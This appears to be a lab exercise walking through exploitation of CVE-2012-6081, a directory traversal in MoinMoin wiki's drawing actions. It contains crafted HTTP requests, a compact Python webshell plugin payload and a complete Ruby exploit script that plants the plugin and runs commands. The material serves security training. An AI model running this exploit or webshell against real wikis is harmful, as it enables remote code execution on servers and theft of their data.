CVE-2012-6081: MoinMoin code execution

This exercise explains how you can exploit CVE-2012-6081 to gain code execution. This vulnerability was exploited to compromise Debian's wiki and Python documentation website

FREE

HARD

Difficulty

--

on average

0

Completed this exercise

Introduction

This course details the exploitation of a code execution in MoinMoin wiki. This bug was exploited to compromise http://wiki.python.org/ and http://wiki.debian.org/. Both incidents have been detailed in the following pages: http://wiki.debian.org/DebianWiki/SecurityIncident2012 and http://wiki.python.org/moin/WikiAttack2013. The exploitation's method used is based on an exploit from Pastebin. The exploitation is really tricky and there are a lot of things to keep in mind and a lot of cool tricks used in this exploit.

If you feel really confortable (and work with a team), you can try to exploit this vulnerability without following the course. To do so, you need to follow the following steps:

  • Read the advisories, the patches of CVE-2012-6080 and CVE-2012-6081.
  • Read the information from the links above and how the vulnerability was exploited.
  • Use the ISO to understand where the files are stored and how you can manipulate this path.
  • Use the ISO to understand how the files are stored and how you can manipulate their content and what limitations exist.
  • Use the MoinMoin documentation to create a valid MoinMoin plugin.
  • Use the vulnerability to deploy your plugin and look at the file generate on the system.
  • play with the file until you manage to gain code execution (good luck).

Once you access the web application, you should see the following page:

Screenshot front page

CVE-2012-6081

Reading the advisory

The advisory details two vulnerabilities:

  • CVE-2012-6080: a directory traversal in AttachFile.py.
  • CVE-2012-6081: a directory traversal in twikidraw.py and anywikidraw.py that can leads to code execution.

If you look at the patches, they are fairly simple: a parameter target was not tainted and is now tainted:

patch

Triggering the bug

To trigger the bug, we need to find a way to access the functionality. The easiest way to find a page you are allowed to modify is to create an account (the good news is that you don't need it to exploit the vulnerability), log in and go to your profile (by clicking on your login name on the top left). Then, you can create your home page (by clicking "Create my home page now!") and add the following wiki syntax:

{{drawing:test.tdraw}}

(for twikidraw) or (for anywikidraw):

{{drawing:test.adraw}}

Once you saved the page, you should see an attachment icon:

attachment

Once you click this icon, the application should give you a Java applet that will allow you to create, edit and save your drawing. By using a proxy like Burp Suite, you can see the requests sent to the server.

The first request retrieves a ticket that will later be used. If we modify the target parameter, we can exploit the directory traversal issue:

GET /moin/WikiSandBox?action=twikidraw&do=modify&target=../../../../data/plugin/action/moinexec.py HTTP/1.0
Host: vulnerable

HTTP/1.1 200 OK
[...]
  
[...]

In the second request, we can see the ticket parameter and the file sent:

POST /moin/WikiSandBox?action=twikidraw&do=save&ticket=00516376c4.81c62af99e648ca56444788f938f8c3b793bb853&target=../../../../data/plugin/action/moinexec.py HTTP/1.1
Host: vulnerable
Content-Type: multipart/form-data; boundary=pentesterlab
Content-Length: 333

--pentesterlab
Content-Disposition: form-data; name="filename"
Content-Type: image/png

drawing.png
--pentesterlab
Content-Disposition: form-data; name="filepath"; filename="drawing.png"
Content-Type: image/png

[...]
--pentesterlab--

Writing a plugin

According to Debian's details, the vulnerability was exploited by creating a plugin. It's a common way to get code execution once you are able to write a file on the system.

By reading the Moinmoin's documentation, we can see that there are multiple types of plugins: Action, Parser, Macro, Formatter and Theme. The more appropriate for our usage seems to be the Action. An Action plugin has to follow this API:

def execute(pagename, request):
  [...]

Now our goal is to use this plugin to gain code execution, we will need to use os.popen to run commands and write the result of the command in the response:

import os
def execute(pagename, request):
  stream = os.popen(request.values['cmd'])
  request.write(stream.read())

If we manually (using the shell access) deploy this plugin inside the plugin directory of MoinMoin (/var/lib/moin/mywiki/data/plugin/action/) and name it test.py. We can see that everything is working just fine by accessing the page http://vulnerable/moin/WikiSandBox?action=test&cmd=uname%20-a:

test plugin

Getting code execution

If you follow the execution path, you can see that the following actions are performed with the filename:

basepath, basename = os.path.split(filename)
basename, ext = os.path.splitext(basename)
[...]
ci = AttachFile.ContainerItem(request, pagename, target)
[...]
ci.put('drawing' + ext, filecontent, content_length)

In this code, two values are under user's control:

  • the filename's extension: ext.
  • the content of the file: filecontent.

However the extension ext is concatenate to the string drawing. The file will then be put in a tar file by the line ci.put (in MoinMoin/action/AttachFile.py line 630).

One of the hard constraint is that our code needs to be the first thing in the file. If we look at the tar format we can see that the filename will be used (and therefore be the first thing in the file) unless its size is bigger than 100 characters.

We can test this and check Python's behaviour by creating 2 files with a filename of 100 and 101 characters and use Python to generate the corresponding tar file:

import os
import tarfile

# 100 characters filename
f = open("a"*100, 'w')
f.close
tar100 = tarfile.open("100.tar", "w")
tar100.add("a"*100)
tar100.close()

# 101 characters filename
f = open("a"*101, 'w')
f.close
tar101 = tarfile.open("101.tar", "w")
tar101.add("a"*101)
tar101.close()

# cleanup
os.unlink("a"*100)
os.unlink("a"*101)

We can now see the difference between the two files:

% cat 100.tar
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000644000076500000240000000000012132453221034255 0ustar  snyffstaff00000000000000
% cat 101.tar
././@LongLink0000000000000000000000000000014600000000000011216 Lustar  00000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000644000076500000240000000000012132453221034255 0ustar  snyffstaff00000000000000

As we said before we only control the extension part of the filename. Since it's an extension our payload needs to start with a . and cannot contain any further . (otherwise it will be considered as the start of the extension). Based on the code above, we know that our final Python code (the plugin) will look like drawing[.PAYLOAD]. Problem is there is no drawing object used before, therefore the payload need to make sure this code will not get called. The actual exploit use an always-false condition to avoid this and a unusual way to write if statement in Python:

drawing.z if()else()

This line will ensure that the code drawing.z does not get called.

Now, if we go back to the initial plugin's code, we can see that there are several . (and that there is also a length problem):

drawing.z if()else()
import os
def execute(pagename, request):
  stream = os.popen(request.values['cmd'])
  request.write(stream.read())

We can quickly rewrite it using smaller variables' name:

drawing.z if()else()
import os
def execute(p, r):
  r.write(os.popen(r.values['c']).read())

We can get rid of the . by using python's function exec and pass it a string with the . encoded as \x2e:

drawing.z if()else()
import os
def execute(p, r):
  exec("r\x2ewrite(os\x2epopen(r\x2evalues['c'])\x2eread())")

However, this payload is still too big and won't fit in the 100-characters limit created by the tar file format.

It's possible to save few characters by replacing \x2e by the octal representation of a .: \56. The new payload is smaller (104 characters but still too big):

drawing.z if()else()
import os
def execute(p, r):
  exec("r\56write(os\56popen(r\56values['c'])\56read())")

The last improvment done to reduce the size of the payload is to replace r\56write(...) by print>>r,... (to avoid the . encoded as \56) and remove the brackets used by exec:

drawing.z if()else()
import os
def execute(p, r):
  exec"print>>r,os\56popen(r\56values['c'])\56read()"

Finally, the encoded payload to be used within the Python code is:

payload = "drawing.s if()else()\nimport os\ndef execute(p,r):exec\"print>>r,os\\56popen(r\\56values['c'])\\56read()\""

If we put together all the constraints on the payload that the exploit manages to bypass we get the following:

  1. It's valid python code.
  2. It starts with drawing..
  3. It contains def execute(p,r):.
  4. It does not contain any dot (.)
  5. It is less than 100 characters (due to the tar format).

We can now use it as part of a script used to get the ticket and upload the malicious plugin:

require 'socket'

# function used to send request
# does not support chunk, gzip, zlib :p
def ssend(req) #{{
  socket=TCPSocket.new('vulnerable',80)
  puts req  
  socket.write(req)
  resp = ""
  s=""
  while (s= socket.readline and !s.nil? )
    puts s
    resp+= s
    break if s =~ /^\r\n$/
  end
  if resp=~ /^Content-Length:\s+(\d+)\s*$/i
    resp+= socket.read($1.to_i)
  else 
    resp = socket.read
  end
  resp
end #}}

# getting  valid ticket
resp = ssend("GET /moin/WikiSandBox?action=twikidraw&do=modify&target=../../../../data/plugin/action/moinexec.py HTTP/1.0\r\nHost: vulnerable\r\n\r\n")
if resp =~ /ticket=(.*?)&target=/
  ticket = $1
end

head = "POST /moin/WikiSandBox?action=twikidraw&do=save&ticket=#{ticket}&target=../../../../data/plugin/action/moinexec.py HTTP/1.1\r\nHost: vulnerable\r\nContent-Type: multipart/form-data; boundary=pentesterlab\r\nContent-Length: "

payload = "drawing.s if()else()\nimport os\ndef execute(p,r):exec\"print>>r,os\\56popen(r\\56values['c'])\\56read()\""

# Building the request's body:

body = "--pentesterlab\r\n"

# Payload:
body += "Content-Disposition: form-data; name=\"filename\"\r\nContent-Type: image/png\r\n\r\n#{payload}\r\n--pentesterlab\r\n"

# File content:
body += "Content-Disposition: form-data; name=\"filepath\"; filename=\"drawing.png\"\r\nContent-Type: image/png\r\n\r\nBLAH\r\n--pentesterlab--\r\n"
 
#Final request
puts head+body.size.to_s+"\r\n\r\n"+body
puts ssend(head+body.size.to_s+"\r\n\r\n"+body)

After running this script, we can finally get commands execution by accessing http://vulnerable/moin/WikiSandBox?action=moinexec&c=uname%20-a:

Screenshot final page

Optimisation

After understanding all the restrictions bypassed by the exploit, it's possible to find other optimisations. First, the request is based on the Request class from the Python project werkzeug. If you check the source code or the documentation, you can find that the methods args is similar to values and is shorter. That can be used to save two bytes.

Another method, is to use the method host, instead of args['c'] and to directly inject the command inside the Host header:

payload = "drawing.s if()else()\nimport os\ndef execute(p,r):exec\"print>>r,os\\56popen(r\\56host)\\56read()\""

It allows us to save several bytes, however it will not work if the server uses virtual hosting. It's still a funny example of what can be done. If you choose this method, the following request can be used to run commands (example with uname -a):

GET /moin/WikiSandBox?action=moinexec HTTP/1.1
Host: uname -a

Conclusion

This exercise showed you how to exploit the code execution in MoinMoin wiki (aka CVE-2012-6081). I hope the course provides you with more details on how this vulnerability works and how you can get a working exploit.
It's a very neat exploit and it shows multiple tricks to finally get code execution and that's why I thought it was worth working on it. As always, when a project like MoinMoin get a command execution vulnerabilities found, it's unlikely to be a trivial bug, that's why it's always interesting to have a closer look.